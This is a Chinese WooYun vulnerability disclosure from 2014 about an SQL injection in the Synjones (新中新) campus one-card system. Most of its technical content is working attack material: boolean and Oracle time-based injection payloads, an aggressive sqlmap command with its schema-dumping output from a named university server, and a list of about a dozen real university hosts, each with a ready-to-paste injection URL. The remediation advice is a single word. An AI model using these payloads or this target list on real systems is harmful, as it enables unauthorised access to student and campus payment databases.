当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081299

漏洞标题:某通用型校园一卡通系统SQL注入漏洞

相关厂商:新中新电子

漏洞作者: 路人甲

提交时间:2014-10-30 18:55

修复时间:2015-01-28 18:56

公开时间:2015-01-28 18:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-30: 细节已通知厂商并且等待厂商处理中
2014-11-03: 厂商已经确认,细节仅向厂商公开
2014-11-06: 细节向第三方安全合作伙伴开放
2014-12-28: 细节向核心白帽子及相关领域专家公开
2015-01-07: 细节向普通白帽子公开
2015-01-17: 细节向实习白帽子公开
2015-01-28: 细节向公众公开

简要描述:

RT

详细说明:

新中新校园一卡通系统某处过滤不严导致SQL注入漏洞,影响大量高校
百度搜索: 版权所有:新中新电子 版本号:2.3

1.png


新中新校园一卡通系统在“失卡信息查询”功能实现上存在SQL注入漏洞
漏洞链接:/nFixcardAllList.action?fromcardid=
Payload1:fromcardid=1'+or+'a'='a
Payload2:fromcardid=1'+and+0=DBMS_PIPE.RECEIVE_MESSAGE('a',4)+and+'a'='a

漏洞证明:

以http://www.ecard.ldu.edu.cn 作为测试案例
测试链接:http://ecard.hycollege.net/nFixcardAllList.action?fromcardid=1
1)手工注入测试
http://ecard.hycollege.net/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ecard.hycollege.net/nFixcardAllList.action?fromcardid=1'+or+'a'='b

1.png


2)SQLMAP注入
$ sqlmap -u http://www.ecard.ldu.edu.cn/nFixcardAllList.action?fromcardid=1 --dbms oracle --level 5 --risk 3 --technique=T --time-sec 4 --dbs -v 3
---
Place: GET
Parameter: fromcardid
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: fromcardid=aaaaa' AND 5322=DBMS_PIPE.RECEIVE_MESSAGE(CHR(105)||CHR(70)||CHR(83)||CHR(100),4) AND 'nMBn'='nMBn
---
web application technology: JSP
back-end DBMS: Oracle
---
Place: GET
Parameter: uname
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: uname=-5521' OR (5703=5703) AND 'vuSP'='vuSP
Type: AND/OR time-based blind
Title: Oracle OR time-based blind
Payload: uname=-2602' OR 4089=DBMS_PIPE.RECEIVE_MESSAGE(CHR(118)||CHR(76)||CHR(71)||CHR(98),5) AND 'hHeH'='hHeH
---
[21:39:07] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[21:39:07] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names
[21:39:07] [INFO] fetching database (schema) names
[21:39:07] [INFO] fetching number of databases
[21:39:08] [WARNING] reflective value(s) found and filtering out
[21:39:08] [INFO] resumed: 16
[21:39:08] [INFO] resumed: CTXSYS
[21:39:08] [INFO] resumed: DBSNMP
[21:39:08] [INFO] resumed: DMSYS
[21:39:08] [INFO] resumed: EXFSYS
[21:39:08] [INFO] resumed: IDDBUSER
[21:39:08] [INFO] resumed: MDSYS
[21:39:08] [INFO] resumed: OLAPSYS
[21:39:08] [INFO] resumed: ORDSYS
[21:39:08] [INFO] resumed: OUTLN
[21:39:08] [INFO] resumed: SCHOOL
[21:39:08] [INFO] resumed: SYS
[21:39:08] [INFO] resumed: SYSMAN
[21:39:08] [INFO] resumed: SYSTEM
[21:39:08] [INFO] resumed: TSMSYS
[21:39:08] [INFO] resumed: WMSYS
[21:39:08] [INFO] resumed: XDB
available databases [16]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] IDDBUSER
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SCHOOL
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB

1.png

2.png

3.png

其他测试案例:(仅仅列出一部分)
http://ecard.hycollege.net/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://yktcx.tjut.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://xyk.jlnu.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ecard.qau.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://yktcx.njmu.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ykt.hebut.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ecard.sdu.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://www.ecard.ldu.edu.cn//nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ecard.tyut.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ecard.hycollege.net/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ecard.tjufe.edu.cn/nFixcardAllList.action?fromcardid=1'+or+'a'='a
http://ecard.hycollege.net/nFixcardAllList.action?fromcardid=1'+or+'a'='a

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-11-03 17:59

厂商回复:

最新状态:

暂无


漏洞评价:

评论